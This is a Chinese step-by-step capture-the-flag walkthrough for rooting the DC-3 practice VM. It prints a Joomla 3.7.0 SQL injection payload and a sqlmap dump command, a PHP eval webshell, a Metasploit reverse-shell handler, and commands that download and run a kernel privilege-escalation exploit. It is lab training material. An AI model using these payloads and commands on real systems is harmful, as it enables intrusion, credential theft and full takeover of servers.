【DC系列靶机渗透】DC-3详细教程手把手带你拿到root权限
2026/9/23 8:42:24 网站建设 项目流程

靶机目标:拿到DC-3靶机的root权限。

工具:39772.zip荷载压缩包,kali,AntSword,浏览器插件Wappalyzer

环境:靶机为 32位 (i686) 系统,由于是太老旧的对于现在基本上都会存在兼容问题,所以DC-3靶机兼容问题属于自己解决,本文章只顾思路引导。

核心考点:Joomla 3.7.0 SQL注入、密码哈希破解、WebShell获取、Linux 32位内核提权。

一,信息收集

1.1利用nmap找到DC-3靶机的IP(靶机是布置在本地)。

# kali nmap -T4 192.168.182.1/24

这样就可以直接找到本地靶机IP地址为:192.168.182.185(在你自己上IP会有所不同)。分析图片可以看到开放了80端口,下一步就是查看DC-3靶机的web服务。

1.2.利用浏览器插件Wappalyzer利用扫描web服务器找到攻击目标joomla.

分析可以看到攻击目标为内容管理系统joomla,web服务器,JS库这三个,所以先测试价值最高的内容管理系统joomla,不行在换成其他的。

思考:为什么一开始就盯着服务器系统信息看而不是去看客户端的漏洞?例如web十大漏洞。

为什么价值最高的是joomla的内容管理系统?

1.3利用kali的joomscan工具进行扫描靶机。

# kali joomscan -u 192.168.182.185

这样会得到了四个joomla内容管理系统下面路径里面。经过分析(该分析可以直接问AI)可以知道暴露了两个高价值信息:

1.后台管理员登录路径:/administrator/index.php(默认)

2.可以在/administrator/components中找插件漏洞

http://192.168.182.185/administrator/components

http://192.168.182.185/administrator/modules

http://192.168.182.185/administrator/templates

http://192.168.182.185/images/banners

思考:该如何在已有的信息中挖掘更有价值的信息呢?AI会是一个很好的工具,但是不仅仅只限于AI的帮助。可以拿1.4利用AI找出SQL漏洞练练自己的信息收集能力。
1.4.利用/administrator/components 暴露了插件/administrator/components/com_fields中的SQL注入漏洞。

利用报错注入进行验证是否具有SQL注入漏洞。

# 浏览器 http://目标IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,(select user()),0x7e),1)

二,利用漏洞进入后台登录

2.1.利用SQLmap进行数据库泄露。

# kali sqlmap -u "http://192.168.182.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" --batch --random-agent -D joomladb -T "#__users" -C "username,password" --dump

这里直接给出了整个命令。分析可以知道我们仅仅只是拿到了:

账号:admin

加盐加密密码:DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

2.2利用john进行暴力破解密码。

由于需要的字典是需要自己准备的,如何自己准备的字典里面没有对应的密码那就自然不能爆破成功。所以直接给出作者爆破出来的密码:snoopy

思考:什么样的字典才算是一个好的字典呢?字典里面是具有固定密码+习惯常用密码+经典密码的一个组合嘛?

2.3进行连接AntSword进行文件上传。

# index.php <?php @eval($_POST['pass']);?>

找到里面一个插件 Templates: Customise (Protostar) 在里面的的一份 index.php文件中写入一句话木马。PHP的一句话木马必须要会写,这个是基本素养。

思考:为什么选择注入一句话木马的文件名为index.php?

为什么直接访问靶机就可以直接启动木马呢?

连接AntSword可以方便更高效进行下一步。也可以图形化查看所有文件路径。在临时目录 /tmp 上传 shell_x86.elf准备与kali的MSF进行建立会话连接。

赋予文件shell_x86.elf有执行的权限。

# 虚拟终端 AntSword chmod +x /tmp/shell_x86.elf

三,权限提权root

3.1在kali里面建立会话与靶机进行连接。

# kali msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.182.149 set lport 4444 run

同时在AntSword的虚拟终端中执行。

# 虚拟终端 AntSword /tmp/shell_x86.elf

这样就可以通过kali进行针对于靶机的攻击了。

3.2利用Linux内核漏洞。

# meterpreter shell uname -a exit background

可以知道靶机的版本是:

Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

在这里可以使用CVE-2016-5195其中的另一个版本漏洞,名字为 39772。可以知道在kali里面没有39772的荷载源代码,而是文件说明。

思考:这里除了CVE-2016-5195这个版本漏洞可以提权还可以使用那些Linux内核版本进行提权呢?

# kali searchsploit -x linux/local/39772.txt 2cat /usr/share/exploitdb/exploits/linux/local/39772.txt

下载漏洞荷载。然后在进行解压缩,获取里面的荷载文件压缩包exploit.tar(作者将解压文件放在了桌面上。)。

# kali wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip sessions -i <你的会话ID>

将荷载文件上传到靶机上面。

# meterpreter upload /home/kali/Desktop/39772/exploit.tar /tmp/exploit.tar

将荷载源文件解压,然后赋予执行权限。

# meterpreter shell tar xvf exploit.tar cd ebpf_mapfd_doubleput_exploit chmod +x compile.sh ./compile.sh #执行脚本,是编译文件 chmod +x doubleput ./doubleput #执行提权文件,提权为root

这样就可以了。

最后就会有root 的权限,这样就可以查看上文件 /root/the-flag.txt

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询